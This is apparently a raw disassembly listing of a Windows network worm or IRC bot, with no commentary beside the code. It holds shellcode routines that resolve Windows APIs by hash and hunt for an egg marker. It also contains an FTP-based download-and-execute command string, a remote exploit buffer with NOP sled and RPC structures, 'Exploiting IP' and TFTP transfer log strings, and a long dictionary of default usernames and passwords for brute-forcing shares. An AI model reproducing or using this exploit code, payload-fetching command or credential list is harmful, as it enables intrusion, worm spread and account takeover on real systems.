unk_43FA00	db  81h	; 		; DATA XREF: sub_40B718+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_43FA50	db 41h			; DATA XREF: sub_40B7B6+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_43FA98	proc near		; DATA XREF: .data:0040BA6Do
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43FB94
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43FBAA
		mov	[esi+8], eax
		call	sub_43FB5D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43FBAA
		mov	[esi+0Ch], eax
		call	sub_43FB0F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43FBAA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_43FA98	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FB0F	proc near		; CODE XREF: sub_43FA98+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_43FB38
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43FB0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43FB38	proc near		; CODE XREF: sub_43FB0F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43FB47:				; CODE XREF: sub_43FB38+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43FB54
		inc	ebx
		jmp	short loc_43FB47
; ---------------------------------------------------------------------------


loc_43FB54:				; CODE XREF: sub_43FB38+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_43FB38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43FB5D	proc near		; CODE XREF: sub_43FA98+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43FB75:				; CODE XREF: sub_43FB5D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43FB7D
		mov	ecx, [ecx]
		jmp	short loc_43FB75
; ---------------------------------------------------------------------------


loc_43FB7D:				; CODE XREF: sub_43FB5D+1Aj
		mov	edx, edi


loc_43FB7F:				; CODE XREF: sub_43FB5D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_43FB89
		mov	edx, [edx+4]
		jmp	short loc_43FB7F
; ---------------------------------------------------------------------------


loc_43FB89:				; CODE XREF: sub_43FB5D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43FB5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FB94	proc near		; CODE XREF: sub_43FA98+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43FB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FBAA	proc near		; CODE XREF: sub_43FA98+16p
					; sub_43FA98+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_43FBC0:				; CODE XREF: sub_43FBAA+33j
		jecxz	short loc_43FBFA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43FBCD:				; CODE XREF: sub_43FBAA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_43FBD9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43FBCD
; ---------------------------------------------------------------------------


loc_43FBD9:				; CODE XREF: sub_43FBAA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_43FBC0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_43FBFA:				; CODE XREF: sub_43FBAA:loc_43FBC0j
					; sub_43FBAA:loc_43FBFAj
		jmp	short loc_43FBFA
sub_43FBAA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43FC00	proc near		; DATA XREF: .data:0040BA1Bo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43FC52
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43FC1D:				; CODE XREF: sub_43FC00+38j
		jecxz	short loc_43FC4D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_43FC28:				; CODE XREF: sub_43FC00+32j
		lodsb
		test	al, al
		jz	short loc_43FC34
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_43FC28
; ---------------------------------------------------------------------------


loc_43FC34:				; CODE XREF: sub_43FC00+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43FC1D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43FC4D:				; CODE XREF: sub_43FC00:loc_43FC1Dj
		mov	[esp+arg_0], ebx
		retn
sub_43FC00	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FC52	proc near		; CODE XREF: sub_43FC00+7p

; FUNCTION CHUNK AT 0043FC8A SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43FC6B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43FC76
; ---------------------------------------------------------------------------


loc_43FC6B:				; CODE XREF: sub_43FC52+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43FC76:				; CODE XREF: sub_43FC52+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43FC8A
sub_43FC52	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43FC7D	proc near		; CODE XREF: sub_43FC52:loc_43FC8Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43FC7D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC52


loc_43FC8A:				; CODE XREF: sub_43FC52+29j
		call	sub_43FC7D


loc_43FC8F:				; DATA XREF: sub_40B1C4+1Bo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_43FC52
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43FC94:				; DATA XREF: sub_40B21F+E8o
		jmp	short near ptr dword_43FC9C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43FC9C	dd 0		aCccc		db 'CCCC',0             ; DATA XREF: sub_40B21F+153o
		align 4
dword_43FCA8	dd 3		byte_43FCAC	db 0A1h, 0		; DATA XREF: sub_40B21F+29Fo
word_43FCAE	dw 30h			; DATA XREF: sub_40B21F+2CAo
dword_43FCB0	dd 62B0606h, 2050501haA_1:					; DATA XREF: sub_40B21F+320o
		unicode	0, < `>,0
		align 10h
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .data:0040BA42o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
aS_13:					; DATA XREF: sub_40C16C+ACo
		unicode	0, <è>,0
		dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
		dd 5EE7572h, 8,	9090E0FFh, 3Fh dup(90909090h), 9090h, 0
dword_43FE50	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset loc_430058+4
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0)
a127_0_0_1Ipc:				; DATA XREF: sub_40C16C+CBo
		unicode	0, <127.0.0.1\IPC$\>
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_4402B4:				; CODE XREF: .data:004404BCj
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_440487:				; CODE XREF: .data:loc_4404EFj
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		jmp	loc_4402B4
; ---------------------------------------------------------------------------
		db 3 dup(45h)
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_4404E5:				; CODE XREF: .data:004404F3j
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_4404EB:				; DATA XREF: sub_40C16C+11Eo
		add	[esp+edx+54h], cl


loc_4404EF:				; DATA XREF: sub_40C16C+108o
		jl	short loc_440487
		mov	ah, 0A1h
		ja	short loc_4404E5
		mov	eax, ds:0AFA977EDh
		mov	eax, ds:41414177h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 77FCC662h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_40C16C+202o
		align 10h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_40C16C+24Fo
		align 10h
aSa		db 'sa',0               ; DATA XREF: .data:0040C428o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:0040C435o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0040C43Co
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0040C450o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0040C45Ao
		align 4
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0040C464o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0040C46Eo
aAdmins		db 'admins',0           ; DATA XREF: .data:0040C478o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .data:0040C482o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .data:0040C48Co
aPassword1	db 'password1',0        ; DATA XREF: .data:0040C496o
		align 10h
aPassword	db 'password',0         ; DATA XREF: .data:0040C4A0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0040C4AAo
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0040C4B4o
		align 10h
aPass		db 'pass',0             ; DATA XREF: .data:0040C4BEo
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .data:0040C4C8o
a007		db '007',0              ; DATA XREF: .data:0040C4D2o
a1:					; DATA XREF: .data:0040C4DCo
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .data:0040C4E6o
		align 4
a123		db '123',0              ; DATA XREF: .data:0040C4F0o
a1234		db '1234',0             ; DATA XREF: .data:0040C4FAo
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0040C504o
		align 4
a123456		db '123456',0           ; DATA XREF: .data:0040C50Eo
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0040C518o
a12345678	db '12345678',0         ; DATA XREF: .data:0040C522o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0040C52Co
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0040C536o
		align 10h
a2000		db '2000',0             ; DATA XREF: .data:0040C540o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0040C54Ao
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:0040C554o
		align 4
a2003		db '2003',0             ; DATA XREF: .data:0040C55Eo
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:0040C568o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0040C572o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: .data:0040C57Co
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0040C586o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: .data:0040C590o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:0040C59Ao
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .data:0040C5A4o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0040C5AEo
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0040C5B8o
aSystem		db 'system',0           ; DATA XREF: .data:0040C5C2o
		align 4
aServer_1	db 'server',0           ; DATA XREF: .data:0040C5CCo
		align 4
aRoot_0		db 'root',0             ; DATA XREF: .data:0040C5D6o
		align 4
aNull		db 'null',0             ; DATA XREF: .data:0040C5E0o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0040C5EAo
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:0040C5F4o
		align 4
aOutlook	db 'outlook',0          ; DATA XREF: .data:0040C5FEo
aWeb		db 'web',0              ; DATA XREF: .data:0040C608o
aWww		db 'www',0              ; DATA XREF: .data:0040C612o
aInternet	db 'internet',0         ; DATA XREF: .data:0040C61Co
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0040C626o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:0040C630o
		align 10h
aHome		db 'home',0             ; DATA XREF: .data:0040C63Ao
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0040C644o
		align 4
aUser_1		db 'user',0             ; DATA XREF: .data:0040C64Eo
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:0040C658o
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0040C662o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0040C66Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0040C676o
aWin98		db 'win98',0            ; DATA XREF: .data:0040C680o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0040C68Ao
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0040C694o
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: .data:0040C69Eo
		align 4
aWin2000	db 'win2000',0          ; DATA XREF: .data:0040C6A8o
aQaz		db 'qaz',0              ; DATA XREF: .data:0040C6B2o
aAsd		db 'asd',0              ; DATA XREF: .data:0040C6BCo
aZxc		db 'zxc',0              ; DATA XREF: .data:0040C6C6o
aQwe		db 'qwe',0              ; DATA XREF: .data:0040C6D0o
aBob		db 'bob',0              ; DATA XREF: .data:0040C6DAo
aJen		db 'jen',0              ; DATA XREF: .data:0040C6E4o
aJoe		db 'joe',0              ; DATA XREF: .data:0040C6EEo
aFred		db 'fred',0             ; DATA XREF: .data:0040C6FBo
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0040C709o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0040C713o
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0040C71Do
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .data:0040C727o
		align 4
aLuke		db 'luke',0             ; DATA XREF: .data:0040C731o
		align 10h
aSam		db 'sam',0              ; DATA XREF: .data:0040C73Bo
aSue		db 'sue',0              ; DATA XREF: .data:0040C745o
aSusan		db 'susan',0            ; DATA XREF: .data:0040C74Fo
		align 10h
aPeter_0	db 'peter',0            ; DATA XREF: .data:0040C759o
		align 4
aBrian		db 'brian',0            ; DATA XREF: .data:0040C763o
		align 10h
aLee		db 'lee',0              ; DATA XREF: .data:0040C76Do
aNeil		db 'neil',0             ; DATA XREF: .data:0040C777o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0040C781o
aChris		db 'chris',0            ; DATA XREF: .data:0040C78Bo
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0040C795o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .data:0040C79Fo
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0040C7A9o
		align 10h
aBob_0		db 'bob',0              ; DATA XREF: .data:0040C7B3o
aKatie		db 'katie',0            ; DATA XREF: .data:0040C7BDo
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0040C7C7o
		align 4
aLogin_0	db 'login',0            ; DATA XREF: .data:0040C7D1o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0040C7DBo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0040C7E5o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:0040C7EFo
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:0040C7F9o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0040C803o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:0040C80Do
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:0040C817o
		align 10h
aSex		db 'sex',0              ; DATA XREF: .data:0040C821o
aGod		db 'god',0              ; DATA XREF: .data:0040C82Bo
aHell		db 'hell',0             ; DATA XREF: .data:0040C835o
		align 10h
aHello		db 'hello',0            ; DATA XREF: .data:0040C83Fo
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0040C849o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0040C853o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0040C85Do
		align 4
